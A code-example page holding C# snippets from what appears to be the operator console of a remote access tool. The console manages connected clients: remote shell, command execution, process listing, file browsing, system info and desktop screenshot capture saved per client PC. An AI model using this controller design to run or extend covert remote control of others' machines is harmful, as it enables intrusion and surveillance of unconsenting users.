Пример #1
0
        private void ListenUiEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppUiChannel.TakeFromUi();
                Target   target   = appEvent.Target;
                Action   action   = appEvent.Action;
                Subject  subject  = appEvent.Subject;

                AppNetChannel.SubmitToNet(appEvent);
            }
        }
Пример #2
0
        private void ListenNetEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppNetChannel.TakeFromNet();
                Target   target   = appEvent.Target;
                Action   action   = appEvent.Action;
                Subject  subject  = appEvent.Subject;
                object   data     = appEvent.Data;

                if (appEvent.GetType() == typeof(ClientAppEvent))
                {
                    Client client = ((ClientAppEvent)appEvent).Client;

                    if (subject == Subject.Desktop)
                    {
                        if (action == Action.Fetched)
                        {
                            string path = Directory.GetCurrentDirectory() +
                                          Path.DirectorySeparatorChar +
                                          client.PcName;


                            if (!Directory.Exists(path))
                            {
                                Directory.CreateDirectory(path);
                            }

                            File.WriteAllBytes(path + Path.DirectorySeparatorChar + "screenshot.png",
                                               (byte[])data);

                            appEvent.Data = path;
                        }
                    }
                }

                AppUiChannel.SubmitToUi(appEvent);
            }
        }
Пример #3
0
        private bool ProcessInstructionNotInteracting(string[] parts)
        {
            if (parts[0] == "ls")
            {
                AppUiChannel.SubmitToApp(new AppEvent
                {
                    Target = Target.Server, Subject = Subject.Connection, Action = Action.ListAvailable
                });
                return(true);
            }

            if (parts.Length > 1 &&
                parts[0].Equals("interact", StringComparison.OrdinalIgnoreCase))
            {
                int clientId = int.Parse(parts[1]);
                AppUiChannel.SubmitToApp(new AppEvent()
                {
                    Target = Target.Server, Subject = Subject.Interaction, Action = Action.Start, Data = clientId
                });
                return(true);
            }

            return(false);
        }
Пример #4
0
        private void ListenAppEvents()
        {
            while (Running)
            {
                AppEvent appEvent = AppUiChannel.TakeFromApp();

                Target  target  = appEvent.Target;
                Action  action  = appEvent.Action;
                Subject subject = appEvent.Subject;
                object  data    = appEvent.Data;

                switch (target)
                {
                case Target.Server:
                {
                    switch (subject)
                    {
                    case Subject.Connection:
                    {
                        if (action == Action.ListAvailable)
                        {
                            List <Client> clients = (List <Client>)appEvent.Data;
                            MainView.ListSessions(clients);
                        }

                        break;
                    }
                    }

                    break;
                }

                case Target.Client:
                {
                    ClientAppEvent clientApp = (ClientAppEvent)appEvent;
                    Client         client    = clientApp.Client;

                    switch (subject)
                    {
                    case Subject.Connection:
                    {
                        if (action == Action.Started)
                        {
                            ShowClientConnection(client);
                        }

                        break;
                    }

                    case Subject.Process:
                    {
                        if (action == Action.Fetched)
                        {
                            ShowProcessList(client, (List <ProcessInfo>)data);
                        }

                        break;
                    }

                    case Subject.FileSystem:
                    {
                        if (action == Action.Fetched)
                        {
                            PacketFileSystem packet = (PacketFileSystem)data;
                            if (packet.FsFocus == PacketFileSystem.FileSystemFocus.Roots)
                            {
                                ShowFsRoots(client, packet.Drives);
                            }
                            else if (packet.FsFocus == PacketFileSystem.FileSystemFocus.DirectoryEntries)
                            {
                                ShowFsDirEntries(client, packet.BasePath, packet.Files);
                            }
                        }

                        break;
                    }

                    case Subject.Shell:
                    {
                        if (action == Action.Fetched)
                        {
                            Dictionary <string, string> shellData = (Dictionary <String, String>)data;
                            ShellView.PrintOutput(shellData["command"], shellData["output"]);
                        }
                        else if (action == Action.Stop)
                        {
                            if (CurrentView == ShellView)
                            {
                                CurrentView = MainView;
                                CurrentView.PrintBanner();
                            }
                        }

                        break;
                    }

                    case Subject.Desktop:
                    {
                        if (action == Action.Fetched)
                        {
                            string path = (string)data;
                            if (!IsDesktopActive && Client == client)
                            {
                                IsDesktopActive = true;

                                C.WriteLine("[+] Desktop image received, Images will be saved in {0}", path);
                            }
                        }
                        else if (action == Action.Stop)
                        {
                            lock (IsDesktopActiveLock)
                            {
                                if (IsDesktopActive && Client == client)
                                {
                                    C.WriteLine("Desktop session closed");
                                    IsDesktopActive = false;
                                }
                            }
                        }

                        break;
                    }
                    }

                    break;
                }
                }
            }
        }
Пример #5
0
        private bool ProcessInstructionInteracting(string instruction, string[] parts)
        {
            try
            {
                ClientLock.AcquireReaderLock(15 * 1000);

                if (CurrentView == ShellView)
                {
                    AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                    {
                        Subject = Subject.Shell, Action = Action.Push, Data = string.Join(" ", parts)
                    });
                    return(true);
                }
                else if (parts[0] == "ls")
                {
                    if (CurrentView == FileSystemView)
                    {
                        string basePath = FileSystemView.CurrentBasePath;
                        if (basePath == null)
                        {
                            AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                            {
                                Subject = Subject.FileSystem, Action = Action.Start
                            });
                        }
                        else
                        {
                            AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                            {
                                Subject = Subject.FileSystem, Action = Action.Start, Data = basePath
                            });
                        }
                    }
                    else
                    {
                        if (parts.Length == 1 || (parts.Length > 1 && parts[1].Trim().Equals("/")))
                        {
                            AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                            {
                                Subject = Subject.FileSystem, Action = Action.Start
                            });
                        }
                        else
                        {
                            string basePath = Path.GetFullPath(parts[1]);
                            AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                            {
                                Subject = Subject.FileSystem, Action = Action.Start, Data = basePath
                            });
                        }
                    }

                    return(true);
                }
                else if (parts[0].Equals("sysinfo", StringComparison.OrdinalIgnoreCase))
                {
                    AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                    {
                        Subject = Subject.Information, Action = Action.Start
                    });

                    return(true);
                }
                else if (parts[0] == "fs")
                {
                    if (parts.Length == 1 ||
                        (parts.Length > 1 && parts[1].Equals("start", StringComparison.OrdinalIgnoreCase)))
                    {
                        CurrentView = FileSystemView;
                        FileSystemView.SetActiveClient(Client);
                    }
                }
                else if (parts[0] == "ps")
                {
                    AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                    {
                        Subject = Subject.Process, Action = Action.Start
                    });
                    return(true);
                }
                else if (parts[0] == "exec")
                {
                    AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                    {
                        Subject = Subject.Shell, Action = Action.Push
                    });
                    return(true);
                }
                else if (parts[0] == "shell")
                {
                    CurrentView = ShellView;
                    ShellView.SetActiveClient(Client);

                    AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                    {
                        Subject = Subject.Shell, Action = Action.Start
                    });
                    return(true);
                }
                else if (instruction.Equals("desktop start", StringComparison.OrdinalIgnoreCase))
                {
                    bool shouldStart;

                    lock (IsDesktopActiveLock)
                    {
                        shouldStart = !IsDesktopActive;
                    }

                    if (shouldStart)
                    {
                        AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                        {
                            Subject = Subject.Desktop, Action = Action.Start
                        });
                        return(true);
                    }

                    return(true);
                }
                else if (instruction.Equals("desktop stop", StringComparison.OrdinalIgnoreCase))
                {
                    lock (IsDesktopActiveLock)
                    {
                        if (IsDesktopActive)
                        {
                            IsDesktopActive = false;
                            AppUiChannel.SubmitToApp(new ClientAppEvent(Client)
                            {
                                Subject = Subject.Desktop, Action = Action.Stop
                            });
                        }
                    }

                    return(true);
                }
                else if (parts[0] == "cd")
                {
                    if (parts.Length > 1)
                    {
                        if (CurrentView != FileSystemView)
                        {
                            CurrentView = FileSystemView;
                            FileSystemView.ChangeDirectory(parts[1]);
                            FileSystemView.Client = Client;
                        }
                    }
                }
            }
            catch (ApplicationException exception)
            {
                C.WriteLine("============================================================================");
                C.WriteLine("DeadLock? ConsoleUiMediator::ProcessInstructionInteracting AcquireReaderLock");
                C.WriteLine("============================================================================");
                return(false);
            }
            finally
            {
                ClientLock.ReleaseReaderLock();
            }

            return(false);
        }